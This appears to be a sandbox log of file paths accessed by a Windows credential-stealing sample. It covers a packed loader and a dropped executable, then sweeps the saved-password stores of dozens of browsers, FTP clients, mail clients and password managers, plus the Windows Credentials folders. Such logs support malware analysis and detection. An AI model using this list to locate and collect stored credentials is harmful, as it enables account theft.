C:\Users\Seven01\AppData\Local\Temp\it-IT\LOL123.resources\LOL123.resources.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll C:\Windows\Globalization\it.nlp C:\Users\Seven01\AppData\Local\Temp\it\LOL123.resources.dll C:\Users\Seven01\AppData\Local\Temp\it\LOL123.resources\LOL123.resources.dll C:\Users\Seven01\AppData\Local\Temp\it\LOL123.resources.exe C:\Users\Seven01\AppData\Local\Temp\it\LOL123.resources\LOL123.resources.exe C:\Windows\Globalization\en-us.nlp C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089 C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089 C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089 C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.exe C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.exe C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089 C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089 C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll C:\Users\Seven01\AppData\Local\Temp\RunPEDll.dll C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.dll C:\Users\Seven01\AppData\Local\Temp\RunPEDll.exe C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.exe C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.dll C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.exe C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.exe C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.dll C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.dll C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.exe C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2556.22933437 C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2556.22933437 C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2556.22933500 C:\Program Files\NETGATE\Black Hawk C:\Program Files (x86)\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE} C:\Users\Seven01\AppData\Local\Comodo\Dragon\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Comodo\Dragon\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalComodo\Dragon\Login Data C:\Users\Seven01\AppData\LocalComodo\Dragon\Default\Login Data C:\Users\Seven01\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalMapleStudio\ChromePlus\Login Data C:\Users\Seven01\AppData\LocalMapleStudio\ChromePlus\Default\Login Data C:\Users\Seven01\AppData\Local\Google\Chrome\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Google\Chrome\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalGoogle\Chrome\Login Data C:\Users\Seven01\AppData\LocalGoogle\Chrome\Default\Login Data C:\Users\Seven01\AppData\Local\Nichrome\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Nichrome\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalNichrome\Login Data C:\Users\Seven01\AppData\LocalNichrome\Default\Login Data C:\Users\Seven01\AppData\Local\RockMelt\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\RockMelt\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalRockMelt\Login Data C:\Users\Seven01\AppData\LocalRockMelt\Default\Login Data C:\Users\Seven01\AppData\Local\Spark\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Spark\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalSpark\Login Data C:\Users\Seven01\AppData\LocalSpark\Default\Login Data C:\Users\Seven01\AppData\Local\Chromium\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Chromium\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalChromium\Login Data C:\Users\Seven01\AppData\LocalChromium\Default\Login Data C:\Users\Seven01\AppData\Local\Titan Browser\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Titan Browser\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalTitan Browser\Login Data C:\Users\Seven01\AppData\LocalTitan Browser\Default\Login Data C:\Users\Seven01\AppData\Local\Torch\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Torch\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalTorch\Login Data C:\Users\Seven01\AppData\LocalTorch\Default\Login Data C:\Users\Seven01\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalYandex\YandexBrowser\Login Data C:\Users\Seven01\AppData\LocalYandex\YandexBrowser\Default\Login Data C:\Users\Seven01\AppData\Local\Epic Privacy Browser\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Epic Privacy Browser\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalEpic Privacy Browser\Login Data C:\Users\Seven01\AppData\LocalEpic Privacy Browser\Default\Login Data C:\Users\Seven01\AppData\Local\CocCoc\Browser\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\CocCoc\Browser\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalCocCoc\Browser\Login Data C:\Users\Seven01\AppData\LocalCocCoc\Browser\Default\Login Data C:\Users\Seven01\AppData\Local\Vivaldi\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Vivaldi\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalVivaldi\Login Data C:\Users\Seven01\AppData\LocalVivaldi\Default\Login Data C:\Users\Seven01\AppData\Local\Comodo\Chromodo\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Comodo\Chromodo\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalComodo\Chromodo\Login Data C:\Users\Seven01\AppData\LocalComodo\Chromodo\Default\Login Data C:\Users\Seven01\AppData\Local\Superbird\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Superbird\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalSuperbird\Login Data C:\Users\Seven01\AppData\LocalSuperbird\Default\Login Data C:\Users\Seven01\AppData\Local\Coowon\Coowon\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Coowon\Coowon\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalCoowon\Coowon\Login Data C:\Users\Seven01\AppData\LocalCoowon\Coowon\Default\Login Data C:\Users\Seven01\AppData\Local\Mustang Browser\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Mustang Browser\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalMustang Browser\Login Data C:\Users\Seven01\AppData\LocalMustang Browser\Default\Login Data C:\Users\Seven01\AppData\Local\360Browser\Browser\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\360Browser\Browser\User Data\Default\Web Data C:\Users\Seven01\AppData\Local360Browser\Browser\Login Data C:\Users\Seven01\AppData\Local360Browser\Browser\Default\Login Data C:\Users\Seven01\AppData\Local\CatalinaGroup\Citrio\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\CatalinaGroup\Citrio\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalCatalinaGroup\Citrio\Login Data C:\Users\Seven01\AppData\LocalCatalinaGroup\Citrio\Default\Login Data C:\Users\Seven01\AppData\Local\Google\Chrome SxS\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Google\Chrome SxS\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalGoogle\Chrome SxS\Login Data C:\Users\Seven01\AppData\LocalGoogle\Chrome SxS\Default\Login Data C:\Users\Seven01\AppData\Local\Orbitum\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Orbitum\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalOrbitum\Login Data C:\Users\Seven01\AppData\LocalOrbitum\Default\Login Data C:\Users\Seven01\AppData\Local\Iridium\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Iridium\User Data\Default\Web Data C:\Users\Seven01\AppData\LocalIridium\Login Data C:\Users\Seven01\AppData\LocalIridium\Default\Login Data C:\Users\Seven01\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data C:\Users\Seven01\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data C:\Users\Seven01\AppData\Roaming\Opera\Opera Next\data\Login Data C:\Users\Seven01\AppData\Roaming\Opera\Opera Next\data\Default\Login Data C:\Users\Seven01\AppData\Roaming\Opera Software\Opera Stable\User Data\Default\Login Data C:\Users\Seven01\AppData\Roaming\Opera Software\Opera Stable\User Data\Default\Web Data C:\Users\Seven01\AppData\Roaming\Opera Software\Opera Stable\Login Data C:\Users\Seven01\AppData\Roaming\Opera Software\Opera Stable\Default\Login Data C:\Users\Seven01\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\User Data\Default\Login Data C:\Users\Seven01\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\User Data\Default\Web Data C:\Users\Seven01\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\Login Data C:\Users\Seven01\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\Default\Login Data C:\Users\Seven01\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\User Data\Default\Login Data C:\Users\Seven01\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\User Data\Default\Web Data C:\Users\Seven01\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Login Data C:\Users\Seven01\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Default\Login Data C:\Users\Seven01\AppData\Local\QupZilla\profiles\default\browsedata.db C:\Users\Seven01\AppData\Roaming\Opera C:\Users\Seven01\AppData\Roaming\.purple\accounts.xml C:\Users\Seven01\Documents\SuperPutty C:\Program Files (x86)\FTPShell\ftpshell.fsi C:\Users\Seven01\AppData\Roaming\Notepad++\plugins\config\NppFTP\NppFTP.xml C:\Program Files (x86)\oZone3D\MyFTP\myftp.ini C:\Users\Seven01\AppData\Roaming\FTPBox\profiles.conf C:\Program Files (x86)\Sherrod Computers\sherrod FTP\favorites C:\Program Files (x86)\FTP Now\sites.xml C:\Program Files (x86)\NexusFile\userdata\ftpsite.ini C:\Users\Seven01\AppData\Roaming\NexusFile\ftpsite.ini C:\Users\Seven01\Documents\NetSarang\Xftp\Sessions C:\Users\Seven01\AppData\Roaming\NetSarang\Xftp\Sessions C:\Program Files (x86)\EasyFTP\data C:\Users\Seven01\AppData\Roaming\SftpNetDrive C:\Program Files (x86)\AbleFTP7\encPwd.jsd C:\Program Files (x86)\AbleFTP7\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\AbleFTP7\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\AbleFTP8\encPwd.jsd C:\Program Files (x86)\AbleFTP8\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\AbleFTP8\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\AbleFTP9\encPwd.jsd C:\Program Files (x86)\AbleFTP9\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\AbleFTP9\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\AbleFTP10\encPwd.jsd C:\Program Files (x86)\AbleFTP10\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\AbleFTP10\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\AbleFTP11\encPwd.jsd C:\Program Files (x86)\AbleFTP11\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\AbleFTP11\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\AbleFTP12\encPwd.jsd C:\Program Files (x86)\AbleFTP12\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\AbleFTP12\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\AbleFTP13\encPwd.jsd C:\Program Files (x86)\AbleFTP13\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\AbleFTP13\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\AbleFTP14\encPwd.jsd C:\Program Files (x86)\AbleFTP14\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\AbleFTP14\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\JaSFtp7\encPwd.jsd C:\Program Files (x86)\JaSFtp7\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\JaSFtp7\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\JaSFtp8\encPwd.jsd C:\Program Files (x86)\JaSFtp8\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\JaSFtp8\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\JaSFtp9\encPwd.jsd C:\Program Files (x86)\JaSFtp9\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\JaSFtp9\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\JaSFtp10\encPwd.jsd C:\Program Files (x86)\JaSFtp10\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\JaSFtp10\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\JaSFtp11\encPwd.jsd C:\Program Files (x86)\JaSFtp11\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\JaSFtp11\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\JaSFtp12\encPwd.jsd C:\Program Files (x86)\JaSFtp12\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\JaSFtp12\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\JaSFtp13\encPwd.jsd C:\Program Files (x86)\JaSFtp13\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\JaSFtp13\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\JaSFtp14\encPwd.jsd C:\Program Files (x86)\JaSFtp14\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\JaSFtp14\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\Automize7\encPwd.jsd C:\Program Files (x86)\Automize7\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\Automize7\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\Automize8\encPwd.jsd C:\Program Files (x86)\Automize8\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\Automize8\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\Automize9\encPwd.jsd C:\Program Files (x86)\Automize9\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\Automize9\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\Automize10\encPwd.jsd C:\Program Files (x86)\Automize10\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\Automize10\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\Automize11\encPwd.jsd C:\Program Files (x86)\Automize11\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\Automize11\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\Automize12\encPwd.jsd C:\Program Files (x86)\Automize12\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\Automize12\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\Automize13\encPwd.jsd C:\Program Files (x86)\Automize13\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\Automize13\data\settings\ftpProfiles-j.jsd C:\Program Files (x86)\Automize14\encPwd.jsd C:\Program Files (x86)\Automize14\data\settings\sshProfiles-j.jsd C:\Program Files (x86)\Automize14\data\settings\ftpProfiles-j.jsd C:\Users\Seven01\AppData\Roaming\Cyberduck C:\Users\Seven01\AppData\Roaming\iterate_GmbH C:\Users\Seven01\.config\fullsync\profiles.xml C:\Users\Seven01\AppData\Roaming\FTPInfo\ServerList.xml C:\Users\Seven01\AppData\Roaming\FTPInfo\ServerList.cfg C:\Program Files (x86)\FileZilla\Filezilla.xml C:\Users\Seven01\AppData\Roaming\FileZilla\filezilla.xml C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml C:\Users\Seven01\AppData\Roaming\FileZilla\sitemanager.xml C:\Program Files (x86)\Staff-FTP\sites.ini C:\Users\Seven01\AppData\Roaming\BlazeFtp\site.dat C:\Program Files (x86)\Fastream NETFile\My FTP Links C:\Program Files (x86)\GoFTP\settings\Connections.txt C:\Users\Seven01\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat C:\Program Files (x86)\DeluxeFTP\sites.xml C:\Windows\wcx_ftp.ini C:\Users\Seven01\AppData\Roaming\wcx_ftp.ini C:\Users\Seven01\wcx_ftp.ini C:\Users\Seven01\AppData\Roaming\GHISLER\wcx_ftp.ini C:\Program Files (x86)\FTPGetter\Profile\servers.xml C:\Users\Seven01\AppData\Roaming\FTPGetter\servers.xml C:\Program Files (x86)\WS_FTP\WS_FTP.INI C:\Windows\WS_FTP.INI C:\Users\Seven01\AppData\Roaming\Ipswitch C:\Users\Seven01\site.xml C:\Users\Seven01\AppData\Local\PokerStars* C:\Users\Seven01\AppData\Local\ExpanDrive C:\Users\Seven01\AppData\Roaming\Steed\bookmarks.txt C:\Users\Seven01\AppData\Roaming\FlashFXP C:\ProgramData\FlashFXP C:\Users\Seven01\AppData\Local\INSoftware\NovaFTP\NovaFTP.db C:\Users\Seven01\AppData\Roaming\NetDrive\NDSites.ini C:\Users\Seven01\AppData\Roaming\NetDrive2\drives.dat C:\ProgramData\NetDrive2\drives.dat C:\Users\Seven01\AppData\Roaming\SmartFTP C:\Users\Seven01\AppData\Roaming\Far Manager\Profile\PluginsData\42E4AEB1-A230-44F4-B33C-F195BB654931.db C:\Users\Seven01\Documents\*.tlp C:\Users\Seven01\Documents\*.bscp C:\Users\Seven01\Documents\*.vnc C:\Users\Seven01\Desktop\*.vnc C:\Users\Seven01\Documents\mSecure C:\ProgramData\Syncovery C:\Program Files (x86)\FreshWebmaster\FreshFTP\FtpSites.SMF C:\Users\Seven01\AppData\Roaming\BitKinex\bitkinex.ds C:\Users\Seven01\AppData\Roaming\UltraFXP\sites.xml C:\Users\Seven01\AppData\Roaming\FTP Now\sites.xml C:\Program Files (x86)\Odin Secure FTP Expert\QFDefault.QFQ C:\Program Files (x86)\Odin Secure FTP Expert\SiteInfo.QFP C:\Program Files (x86)\Foxmail\mail C:\Foxmail* C:\Users\Seven01\AppData\Roaming\Pocomail\accounts.ini C:\Users\Seven01\Documents\Pocomail\accounts.ini C:\Users\Seven01\AppData\Roaming\GmailNotifierPro\ConfigData.xml C:\Users\Seven01\AppData\Roaming\DeskSoft\CheckMail C:\Program Files (x86)\WinFtp Client\Favorites.dat C:\Windows\32BitFtp.TMP C:\Windows\32BitFtp.ini C:\FTP Navigator\Ftplist.txt C:\Softwarenetz\Mailing\Daten\mailing.vdt C:\Users\Seven01\AppData\Roaming\Opera Mail\Opera Mail\wand.dat C:\Users\Seven01\Documents\*Mailbox.ini C:\Users\Seven01\Documents\yMail2\POP3.xml C:\Users\Seven01\Documents\yMail2\SMTP.xml C:\Users\Seven01\Documents\yMail2\Accounts.xml C:\Users\Seven01\Documents\yMail\ymail.ini C:\Users\Seven01\AppData\Roaming\TrulyMail\Data\Settings\user.config C:\Users\Seven01\Documents\*.spn C:\Users\Seven01\Desktop\*.spn C:\Users\Seven01\AppData\Roaming\To-Do DeskList\tasks.db C:\Users\Seven01\AppData\Roaming\stickies\images C:\Users\Seven01\AppData\Roaming\stickies\rtf C:\Users\Seven01\AppData\Roaming\NoteFly\notes C:\Users\Seven01\AppData\Roaming\Conceptworld\Notezilla\Notes8.db C:\Users\Seven01\AppData\Roaming\Microsoft\Sticky Notes\StickyNotes.snt C:\Users\Seven01\Documents C:\Users\Seven01\Documents\*.kdbx C:\Users\Seven01\Desktop C:\Users\Seven01\Desktop\*.kdbx C:\Users\Seven01\Documents\*.kdb C:\Users\Seven01\Desktop\*.kdb C:\Users\Seven01\Documents\Enpass C:\Users\Seven01\Documents\My RoboForm Data C:\Users\Seven01\Documents\1Password C:\Users\Seven01\AppData\Local\Temp\Mikrotik\Winbox C:\Users\Seven01\AppData\Local\Temp\NETAPI32.DLL C:\Windows\System32\netapi32.dll C:\Users\Seven01\AppData\Local\Temp\netutils.dll C:\Windows\System32\netutils.dll C:\Users\Seven01\AppData\Local\Temp\srvcli.dll C:\Windows\System32\srvcli.dll C:\Users\Seven01\AppData\Roaming\E62877 C:\Users\Seven01\AppData\Roaming\E62877\73E4A9.lck C:\Users\Seven01\AppData\Roaming\Microsoft\Credentials C:\Users\Seven01\AppData\Roaming\Microsoft\Credentials\* C:\Users\Seven01\AppData\Local\Microsoft\Credentials C:\Users\Seven01\AppData\Local\Microsoft\Credentials\* C:\Users\Seven01\AppData\Roaming\E62877\73E4A9.exe C:\Windows\Temp C:\Windows\sysnative\LogFiles\Scm\2f57269b-1e09-4e2d-ab1e-b0fdac7d279c C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp C:\Windows\ServiceProfiles C:\Windows\ServiceProfiles\LocalService C:\Windows\sysnative\Tasks\Microsoft\Windows\WDI\ResolutionHost C:\Windows\sysnative\LogFiles\Scm\9435f817-fed2-454e-88cd-7f78fda62c48 C:\Windows\sysnative\LogFiles\Scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50 C:\Windows\Globalization\Sorting\sortdefault.nls C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache-System.dat C:\Windows\Fonts\arial.ttf C:\Windows\Fonts\ariali.ttf C:\Windows\Fonts\arialbd.ttf C:\Windows\Fonts\arialbi.ttf C:\Windows\Fonts\batang.ttc C:\Windows\Fonts\cour.ttf C:\Windows\Fonts\couri.ttf C:\Windows\Fonts\courbd.ttf C:\Windows\Fonts\courbi.ttf C:\Windows\Fonts\daunpenh.ttf C:\Windows\Fonts\dokchamp.ttf C:\Windows\Fonts\estre.ttf C:\Windows\Fonts\euphemia.ttf C:\Windows\Fonts\gautami.ttf C:\Windows\Fonts\gautamib.ttf C:\Windows\Fonts\Vani.ttf C:\Windows\Fonts\Vanib.ttf C:\Windows\Fonts\gulim.ttc C:\Windows\Fonts\impact.ttf C:\Windows\Fonts\iskpota.ttf C:\Windows\Fonts\iskpotab.ttf C:\Windows\Fonts\kalinga.ttf C:\Windows\Fonts\kalingab.ttf C:\Windows\Fonts\kartika.ttf C:\Windows\Fonts\kartikab.ttf C:\Windows\Fonts\KhmerUI.ttf C:\Windows\Fonts\KhmerUIb.ttf C:\Windows\Fonts\LaoUI.ttf C:\Windows\Fonts\LaoUIb.ttf C:\Windows\Fonts\latha.ttf C:\Windows\Fonts\lathab.ttf C:\Windows\Fonts\lucon.ttf C:\Windows\Fonts\malgun.ttf C:\Windows\Fonts\malgunbd.ttf C:\Windows\Fonts\mangal.ttf C:\Windows\Fonts\mangalb.ttf C:\Windows\Fonts\meiryo.ttc C:\Windows\Fonts\meiryob.ttc C:\Windows\Fonts\himalaya.ttf C:\Windows\Fonts\msjh.ttf C:\Windows\Fonts\msjhbd.ttf C:\Windows\Fonts\msyh.ttf C:\Windows\Fonts\msyhbd.ttf C:\Windows\Fonts\mingliu.ttc C:\Windows\Fonts\mingliub.ttc C:\Windows\Fonts\monbaiti.ttf C:\Windows\Fonts\msgothic.ttc C:\Windows\Fonts\msmincho.ttc C:\Windows\Fonts\mvboli.ttf C:\Windows\Fonts\ntailu.ttf C:\Windows\Fonts\ntailub.ttf C:\Windows\Fonts\nyala.ttf C:\Windows\Fonts\phagspa.ttf C:\Windows\Fonts\phagspab.ttf C:\Windows\Fonts\plantc.ttf C:\Windows\Fonts\raavi.ttf C:\Windows\Fonts\raavib.ttf C:\Windows\Fonts\segoesc.ttf C:\Windows\Fonts\segoescb.ttf C:\Windows\Fonts\segoeui.ttf C:\Windows\Fonts\segoeuib.ttf C:\Windows\Fonts\segoeuii.ttf C:\Windows\Fonts\segoeuiz.ttf C:\Windows\Fonts\seguisb.ttf C:\Windows\Fonts\segoeuil.ttf C:\Windows\Fonts\seguisym.ttf C:\Windows\Fonts\shruti.ttf C:\Windows\Fonts\shrutib.ttf C:\Windows\Fonts\simsun.ttc C:\Windows\Fonts\simsunb.ttf C:\Windows\Fonts\sylfaen.ttf C:\Windows\Fonts\taile.ttf C:\Windows\Fonts\taileb.ttf C:\Windows\Fonts\times.ttf C:\Windows\Fonts\timesi.ttf C:\Windows\Fonts\timesbd.ttf C:\Windows\Fonts\timesbi.ttf C:\Windows\Fonts\tunga.ttf C:\Windows\Fonts\tungab.ttf C:\Windows\Fonts\vrinda.ttf C:\Windows\Fonts\vrindab.ttf C:\Windows\Fonts\Shonar.ttf C:\Windows\Fonts\Shonarb.ttf C:\Windows\Fonts\msyi.ttf C:\Windows\Fonts\tahoma.ttf C:\Windows\Fonts\tahomabd.ttf C:\Windows\Fonts\micross.ttf C:\Windows\Fonts\angsa.ttf C:\Windows\Fonts\angsai.ttf C:\Windows\Fonts\angsab.ttf C:\Windows\Fonts\angsaz.ttf C:\Windows\Fonts\aparaj.ttf C:\Windows\Fonts\aparajb.ttf C:\Windows\Fonts\aparajbi.ttf C:\Windows\Fonts\aparaji.ttf C:\Windows\Fonts\cordia.ttf C:\Windows\Fonts\cordiai.ttf C:\Windows\Fonts\cordiab.ttf C:\Windows\Fonts\cordiaz.ttf C:\Windows\Fonts\ebrima.ttf C:\Windows\Fonts\ebrimabd.ttf C:\Windows\Fonts\gisha.ttf C:\Windows\Fonts\gishabd.ttf C:\Windows\Fonts\kokila.ttf C:\Windows\Fonts\kokilab.ttf C:\Windows\Fonts\kokilabi.ttf C:\Windows\Fonts\kokilai.ttf C:\Windows\Fonts\leelawad.ttf C:\Windows\Fonts\leelawdb.ttf C:\Windows\Fonts\msuighur.ttf C:\Windows\Fonts\moolbor.ttf C:\Windows\Fonts\symbol.ttf C:\Windows\Fonts\utsaah.ttf C:\Windows\Fonts\utsaahb.ttf C:\Windows\Fonts\utsaahbi.ttf C:\Windows\Fonts\utsaahi.ttf C:\Windows\Fonts\vijaya.ttf C:\Windows\Fonts\vijayab.ttf C:\Windows\Fonts\wingding.ttf C:\Windows\Fonts\modern.fon C:\Windows\Fonts\roman.fon C:\Windows\Fonts\script.fon C:\Windows\Fonts\andlso.ttf C:\Windows\Fonts\arabtype.ttf C:\Windows\Fonts\simpo.ttf C:\Windows\Fonts\simpbdo.ttf C:\Windows\Fonts\simpfxo.ttf C:\Windows\Fonts\majalla.ttf C:\Windows\Fonts\majallab.ttf C:\Windows\Fonts\trado.ttf C:\Windows\Fonts\tradbdo.ttf C:\Windows\Fonts\ahronbd.ttf C:\Windows\Fonts\david.ttf C:\Windows\Fonts\davidbd.ttf C:\Windows\Fonts\frank.ttf C:\Windows\Fonts\lvnm.ttf C:\Windows\Fonts\lvnmbd.ttf C:\Windows\Fonts\mriam.ttf C:\Windows\Fonts\mriamc.ttf C:\Windows\Fonts\nrkis.ttf C:\Windows\Fonts\rod.ttf C:\Windows\Fonts\simfang.ttf C:\Windows\Fonts\simhei.ttf C:\Windows\Fonts\simkai.ttf C:\Windows\Fonts\angsau.ttf C:\Windows\Fonts\angsaui.ttf C:\Windows\Fonts\angsaub.ttf C:\Windows\Fonts\angsauz.ttf C:\Windows\Fonts\browa.ttf C:\Windows\Fonts\browai.ttf C:\Windows\Fonts\browab.ttf C:\Windows\Fonts\browaz.ttf C:\Windows\Fonts\browau.ttf C:\Windows\Fonts\browaui.ttf C:\Windows\Fonts\browaub.ttf C:\Windows\Fonts\browauz.ttf C:\Windows\Fonts\cordiau.ttf C:\Windows\Fonts\cordiaub.ttf C:\Windows\Fonts\cordiauz.ttf C:\Windows\Fonts\cordiaui.ttf C:\Windows\Fonts\upcdl.ttf C:\Windows\Fonts\upcdi.ttf C:\Windows\Fonts\upcdb.ttf C:\Windows\Fonts\upcdbi.ttf C:\Windows\Fonts\upcel.ttf C:\Windows\Fonts\upcei.ttf C:\Windows\Fonts\upceb.ttf C:\Windows\Fonts\upcebi.ttf C:\Windows\Fonts\upcfl.ttf C:\Windows\Fonts\upcfi.ttf C:\Windows\Fonts\upcfb.ttf C:\Windows\Fonts\upcfbi.ttf C:\Windows\Fonts\upcil.ttf C:\Windows\Fonts\upcii.ttf C:\Windows\Fonts\upcib.ttf C:\Windows\Fonts\upcibi.ttf C:\Windows\Fonts\upcjl.ttf C:\Windows\Fonts\upcji.ttf C:\Windows\Fonts\upcjb.ttf C:\Windows\Fonts\upcjbi.ttf C:\Windows\Fonts\upckl.ttf C:\Windows\Fonts\upcki.ttf C:\Windows\Fonts\upckb.ttf C:\Windows\Fonts\upckbi.ttf C:\Windows\Fonts\upcll.ttf C:\Windows\Fonts\upcli.ttf C:\Windows\Fonts\upclb.ttf C:\Windows\Fonts\upclbi.ttf 